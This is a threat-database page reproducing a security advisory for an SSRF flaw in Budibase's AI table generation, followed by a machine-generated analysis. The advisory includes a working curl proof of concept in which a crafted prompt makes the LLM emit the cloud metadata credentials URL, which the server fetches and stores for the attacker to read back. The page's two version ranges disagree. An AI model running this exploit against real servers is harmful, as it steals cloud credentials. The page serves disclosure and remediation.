Server: Budibase: SSRF via bare fetch() in uploadUrl during AI table generation (CVE-2026-73307)
# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation ## Summary The `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs). A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources. This is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF. ## Affected Versions <= 3.39.0 (current `lerna.json` version at time of analysis) ## Vulnerability Details ### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check ```typescript // packages/server/src/utilities/fileUtils.ts:21-23 export async function uploadUrl(url: string): Promise<Upload | undefined> { try { const res = await fetch(url) // No blacklist validation ``` This is called from: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114 async function processAttachments( entry: Record<string, any>, attachmentColumns: FieldSchema[] ) { function processAttachment(value: any) { if (typeof value === "object") { return uploadFile(value) } return uploadUrl(value) // String values treated as URLs, fetched without protection } ``` Which is triggered via `generateRows()` at line 34: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:34 await processAttachments(entry, attachmentColumns) ``` ### Compare with correct sibling: processUrlFile() in extract.ts ```typescript // packages/server/src/automations/steps/ai/extract.ts:139-144 async function processUrlFile( fileUrl: string, fileType: SupportedFileType, llm: LLMResponse ): Promise<ExtractInput> { const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist ``` The `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request: ```typescript // packages/server/src/automations/steps/utils.ts:100-112 export async function fetchWithBlacklist( url: string, request: RequestInit = {} ): Promise<Response> { const maxRedirects = 5 let nextUrl = url // ... for (let redirects = 0; redirects <= maxRedirects; redirects++) { await throwIfBlacklisted(nextUrl) // Validates against private IP ranges const response = await fetch(nextUrl, nextRequest) ``` ## Proof of Concept Prerequisites: Builder-level authentication, AI feature enabled on the instance. ```bash # Step 1: Authenticate as builder TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \ -H 'Content-Type: application/json' \ -d '{"username":"[email protected]","password":"password123"}' \ -c - | grep budibase:auth | awk '{print $NF}') # Step 2: Create an app with a table that has an attachment column APP_ID="app_dev_xxxx" # Use existing app # Step 3: Use the AI table generation endpoint with a prompt designed to # produce internal URLs as attachment values. # The LLM will generate rows with attachment column values pointing to # internal services. curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \ -H "Content-Type: application/json" \ -H "Cookie: budibase:auth=$TOKEN" \ -d '{ "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/" }' # The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/") # which fetches the cloud metadata endpoint without any SSRF protection. # The response content is saved to object storage and a URL is returned in the row data. # Step 4: Read the created row to exfiltrate the metadata response curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \ -H "Cookie: budibase:auth=$TOKEN" # The attachment URL in the response points to the saved metadata content ``` ## Impact - Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens) - Internal service enumeration and data exfiltration from private network resources - Port scanning of internal infrastructure via timing/error differences - Bypass of network segmentation when Budibase is deployed in a DMZ or VPC ## Suggested Remediation Replace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`: ```typescript // packages/server/src/utilities/fileUtils.ts import fs from "fs" -import fetch from "node-fet
AI Analysis
Technical Summary
The vulnerability exists in the uploadUrl() function in packages/server/src/utilities/fileUtils.ts, which uses a bare fetch(url) call without any SSRF protection. When the AI table generation feature processes attachment columns containing URLs, these URLs are fetched server-side without blacklist validation. A builder-level user can craft prompts that cause the AI to generate URLs pointing to internal IP addresses or cloud metadata endpoints. This leads to SSRF, allowing access to internal services and cloud metadata APIs. The correct approach, used elsewhere in Budibase, is to use fetchWithBlacklist() which validates URLs against a blacklist of private/internal IP ranges before fetching. Versions affected are up to and including 3.38.1.
Potential Impact
An attacker with builder-level access can exploit this vulnerability to read sensitive cloud instance metadata such as AWS IAM credentials or GCP service account tokens. They can also enumerate internal services and exfiltrate data from private network resources. Additionally, the vulnerability enables bypassing network segmentation controls, such as those in DMZ or VPC deployments, and may facilitate internal port scanning via timing or error differences. This can lead to significant information disclosure and potential further compromise of the internal network.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. The suggested remediation is to replace the bare fetch() call in uploadUrl() with the fetchWithBlacklist() function, which performs validation against a blacklist of internal and private IP ranges before making requests. Until an official fix is released, restrict builder-level user access and disable the AI table generation feature if possible to reduce risk.
Server: Budibase: SSRF via bare fetch() in uploadUrl during AI table generation (CVE-2026-73307)
Description
# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation ## Summary The `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs). A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources. This is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF. ## Affected Versions <= 3.39.0 (current `lerna.json` version at time of analysis) ## Vulnerability Details ### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check ```typescript // packages/server/src/utilities/fileUtils.ts:21-23 export async function uploadUrl(url: string): Promise<Upload | undefined> { try { const res = await fetch(url) // No blacklist validation ``` This is called from: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114 async function processAttachments( entry: Record<string, any>, attachmentColumns: FieldSchema[] ) { function processAttachment(value: any) { if (typeof value === "object") { return uploadFile(value) } return uploadUrl(value) // String values treated as URLs, fetched without protection } ``` Which is triggered via `generateRows()` at line 34: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:34 await processAttachments(entry, attachmentColumns) ``` ### Compare with correct sibling: processUrlFile() in extract.ts ```typescript // packages/server/src/automations/steps/ai/extract.ts:139-144 async function processUrlFile( fileUrl: string, fileType: SupportedFileType, llm: LLMResponse ): Promise<ExtractInput> { const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist ``` The `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request: ```typescript // packages/server/src/automations/steps/utils.ts:100-112 export async function fetchWithBlacklist( url: string, request: RequestInit = {} ): Promise<Response> { const maxRedirects = 5 let nextUrl = url // ... for (let redirects = 0; redirects <= maxRedirects; redirects++) { await throwIfBlacklisted(nextUrl) // Validates against private IP ranges const response = await fetch(nextUrl, nextRequest) ``` ## Proof of Concept Prerequisites: Builder-level authentication, AI feature enabled on the instance. ```bash # Step 1: Authenticate as builder TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \ -H 'Content-Type: application/json' \ -d '{"username":"[email protected]","password":"password123"}' \ -c - | grep budibase:auth | awk '{print $NF}') # Step 2: Create an app with a table that has an attachment column APP_ID="app_dev_xxxx" # Use existing app # Step 3: Use the AI table generation endpoint with a prompt designed to # produce internal URLs as attachment values. # The LLM will generate rows with attachment column values pointing to # internal services. curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \ -H "Content-Type: application/json" \ -H "Cookie: budibase:auth=$TOKEN" \ -d '{ "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/" }' # The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/") # which fetches the cloud metadata endpoint without any SSRF protection. # The response content is saved to object storage and a URL is returned in the row data. # Step 4: Read the created row to exfiltrate the metadata response curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \ -H "Cookie: budibase:auth=$TOKEN" # The attachment URL in the response points to the saved metadata content ``` ## Impact - Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens) - Internal service enumeration and data exfiltration from private network resources - Port scanning of internal infrastructure via timing/error differences - Bypass of network segmentation when Budibase is deployed in a DMZ or VPC ## Suggested Remediation Replace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`: ```typescript // packages/server/src/utilities/fileUtils.ts import fs from "fs" -import fetch from "node-fet
CVSS v4.0
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability exists in the uploadUrl() function in packages/server/src/utilities/fileUtils.ts, which uses a bare fetch(url) call without any SSRF protection. When the AI table generation feature processes attachment columns containing URLs, these URLs are fetched server-side without blacklist validation. A builder-level user can craft prompts that cause the AI to generate URLs pointing to internal IP addresses or cloud metadata endpoints. This leads to SSRF, allowing access to internal services and cloud metadata APIs. The correct approach, used elsewhere in Budibase, is to use fetchWithBlacklist() which validates URLs against a blacklist of private/internal IP ranges before fetching. Versions affected are up to and including 3.38.1.
Potential Impact
An attacker with builder-level access can exploit this vulnerability to read sensitive cloud instance metadata such as AWS IAM credentials or GCP service account tokens. They can also enumerate internal services and exfiltrate data from private network resources. Additionally, the vulnerability enables bypassing network segmentation controls, such as those in DMZ or VPC deployments, and may facilitate internal port scanning via timing or error differences. This can lead to significant information disclosure and potential further compromise of the internal network.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. The suggested remediation is to replace the bare fetch() call in uploadUrl() with the fetchWithBlacklist() function, which performs validation against a blacklist of internal and private IP ranges before making requests. Until an official fix is released, restrict builder-level user access and disable the AI table generation feature if possible to reduce risk.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-hfhx-w8p8-4hc7
- Osv Schema Version
- 1.4.0
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- MODERATE
- Cvss Version
- 4.0
Threat ID: 6a6542259c2644c7f8089d00
Added to database: 07/25/2026, 23:09:25 UTC
Last enriched: 07/25/2026, 23:53:14 UTC
Last updated: 09/06/2026, 07:33:23 UTC
Views: 53
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.